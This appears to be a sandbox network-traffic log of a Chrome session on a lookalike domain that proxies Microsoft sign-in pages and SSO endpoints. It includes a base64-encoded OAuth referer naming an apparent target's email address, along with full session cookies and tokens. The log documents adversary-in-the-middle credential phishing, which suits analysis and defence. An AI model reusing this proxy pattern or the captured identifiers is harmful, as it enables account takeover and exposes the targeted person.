2024-11-21 13:45:22 UTC	16384	IN	Data Raw: 65 3d 3d 3d 6e 2e 73 6f 75 72 63 65 29 72 65 74 75 72 6e 7b 6c 69 6e 65 3a 72 2e 67 65 74 41 72 67 28 69 2c 22 67 65 6e 65 72 61 74 65 64 4c 69 6e 65 22 2c 6e 75 6c 6c 29 2c 63 6f 6c 75 6d 6e 3a 72 2e 67 65 74 41 72 67 28 69 2c 22 67 65 6e 65 72 61 74 65 64 43 6f 6c 75 6d 6e 22 2c 6e 75 6c 6c 29 2c 6c 61 73 74 43 6f 6c 75 6d 6e 3a 72 2e 67 65 74 41 72 67 28 69 2c 22 6c 61 73 74 47 65 6e 65 72 61 74 65 64 43 6f 6c 75 6d 6e 22 2c 6e 75 6c 6c 29 7d 7d 72 65 74 75 72 6e 7b 6c 69 6e 65 3a 6e 75 6c 6c 2c 63 6f 6c 75 6d 6e 3a 6e 75 6c 6c 2c 6c 61 73 74 43 6f 6c 75 6d 6e 3a 6e 75 6c 6c 7d 7d 2c 74 2e 42 61 73 69 63 53 6f 75 72 63 65 4d 61 70 43 6f 6e 73 75 6d 65 72 3d 63 2c 66 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 75 2e 70 72 Data Ascii: e===n.source)return{line:r.getArg(i,"generatedLine",null),column:r.getArg(i,"generatedColumn",null),lastColumn:r.getArg(i,"lastGeneratedColumn",null)}}return{line:null,column:null,lastColumn:null}},t.BasicSourceMapConsumer=c,f.prototype=Object.create(u.pr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49793	20.190.159.68	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:21 UTC	699	OUT	GET /nv5.com/winauth/ssoprobe?client-request-id=b0951b3f-ba13-4731-cd07-d95d7c2f52fd&_=1732196716841 HTTP/1.1 Host: autologon.microsoftazuread-sso.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sharedfile4rom1nternet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:45:22 UTC	1878	IN	HTTP/1.1 401 Unauthorized Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: image/png; charset=utf-8 Expires: -1 Vary: Origin X-Content-Type-Options: nosniff Access-Control-Allow-Origin: https://login.microsoftonline.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, OPTIONS P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 2dec5a20-5c53-4cc6-9d1e-65d5767f0700 x-ms-ests-server: 2.1.19492.3 - SCUS ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-eFYIgqWWhZ2LXGPIWNwqUA' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net 'report-sample'; img-src 'self' data: https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 WWW-Authenticate: Negotiate Set-Cookie: fpc=AnoZVqGRg7tClSr77WJKrU4; expires=Sat, 21-Dec-2024 13:45:21 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 21 Nov 2024 13:45:21 GMT Connection: close Content-Length: 12
2024-11-21 13:45:22 UTC	12	IN	Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 Data Ascii: Unauthorized

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49797	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:23 UTC	3305	OUT	POST /common/instrumentation/dssostatus HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive Content-Length: 67 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: f7f58e32-3375-4a10-a107-97efb2740600 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: b0951b3f-ba13-4731-cd07-d95d7c2f52fd canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe7EfwvBP0RISOAAHvo98ajtCfMqx2VoUe9OxwCbzOEJjN2EC_iL2Hiq_oaRp416Fyq8UV11GQypXOkDpTfPuHJH5TL_Yd4jHiSpfn95cXqx5T0wcjDvZCVRR7BANpEBePgRPOF3KNV5VnZENoz0aboDzk2pVqff0DgCsdOkfg4p8bllw9w32vOdn3-urOrRcEhe5LKshVjITrpiQmuHtpnSAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://sharedfile4rom1nternet.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:23 UTC	67	OUT	Data Raw: 7b 22 72 65 73 75 6c 74 43 6f 64 65 22 3a 32 2c 22 73 73 6f 44 65 6c 61 79 22 3a 30 2c 22 6c 6f 67 22 3a 22 50 72 6f 62 65 20 69 6d 61 67 65 20 65 72 72 6f 72 20 65 76 65 6e 74 20 66 69 72 65 64 22 7d Data Ascii: {"resultCode":2,"ssoDelay":0,"log":"Probe image error event fired"}
2024-11-21 13:45:24 UTC	2311	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: https://autologon.microsoftazuread-sso.com/ Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: POST, OPTIONS P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" client-request-id: b0951b3f-ba13-4731-cd07-d95d7c2f52fd x-ms-request-id: 91948d6c-4b0d-404c-a5b5-1ece5dc00700 x-ms-ests-server: 2.1.19492.3 - SCUS ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-kUxkc5lRvIVvAw8nqLK-YQ' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net 'report-sample'; img-src 'self' data: https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All Set-Cookie: fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA; expires=Sat, 21-Dec-2024 13:45:24 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 21 Nov 2024 13:45:24 GMT Connection: close content-length: 265 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:24 UTC	265	IN	Data Raw: 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 32 52 46 7a 43 52 50 62 6c 6a 65 5f 36 39 58 33 30 76 79 63 57 74 36 64 41 42 64 55 75 79 78 4a 51 43 51 6f 32 52 74 62 66 63 50 33 49 49 47 65 44 74 6c 64 4c 39 49 71 69 74 7a 4f 69 46 64 75 68 34 6c 44 45 76 34 71 6b 42 45 5a 56 77 67 34 42 35 62 78 56 6a 6b 62 59 4f 69 61 53 6d 53 49 65 63 7a 50 42 4d 50 47 48 52 67 46 45 4e 63 57 57 4c 67 38 75 79 5a 59 53 36 6e 68 68 56 33 2d 56 75 65 34 50 70 36 52 58 34 61 37 65 4f 77 61 41 34 36 55 4b 37 35 31 55 33 4b 39 4e 72 68 75 68 56 51 34 4a 67 79 53 4d 59 51 4e 58 2d 46 54 73 4d 55 34 2d 4c 33 4e 32 4e 37 77 61 75 71 74 51 4d 64 69 5f 41 75 58 38 7a 53 41 6c 58 50 70 Data Ascii: {"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe2RFzCRPblje_69X30vycWt6dABdUuyxJQCQo2RtbfcP3IIGeDtldL9IqitzOiFduh4lDEv4qkBEZVwg4B5bxVjkbYOiaSmSIeczPBMPGHRgFENcWWLg8uyZYS6nhhV3-Vue4Pp6RX4a7eOwaA46UK751U3K9NrhuhVQ4JgySMYQNX-FTsMU4-L3N2N7wauqtQMdi_AuX8zSAlXPp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49798	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:23 UTC	2868	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pidpdisambiguation_8442c9722efe126153de.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:24 UTC	1342	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20821880 Cache-Control: public, max-age=31536000 Content-MD5: v0IvJ8oaXEJwxHz7sBZEnw== Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:24 GMT Etag: 0x8DAFF34C4AEC941 Last-Modified: Thu, 26 Jan 2023 00:32:12 GMT Server: ECAcc (ska/F6CD) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: de169820-401e-008f-75bb-7e846c000000 x-ms-version: 2009-09-19 content-length: 7044 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:24 UTC	7044	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49799	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:25 UTC	1726	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pidpdisambiguation_8442c9722efe126153de.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
2024-11-21 13:45:26 UTC	1342	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20821882 Cache-Control: public, max-age=31536000 Content-MD5: v0IvJ8oaXEJwxHz7sBZEnw== Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:26 GMT Etag: 0x8DAFF34C4AEC941 Last-Modified: Thu, 26 Jan 2023 00:32:12 GMT Server: ECAcc (ska/F6CD) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: de169820-401e-008f-75bb-7e846c000000 x-ms-version: 2009-09-19 content-length: 7044 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:26 UTC	7044	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49800	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:26 UTC	1647	OUT	GET /common/instrumentation/dssostatus HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABC [TRUNCATED]
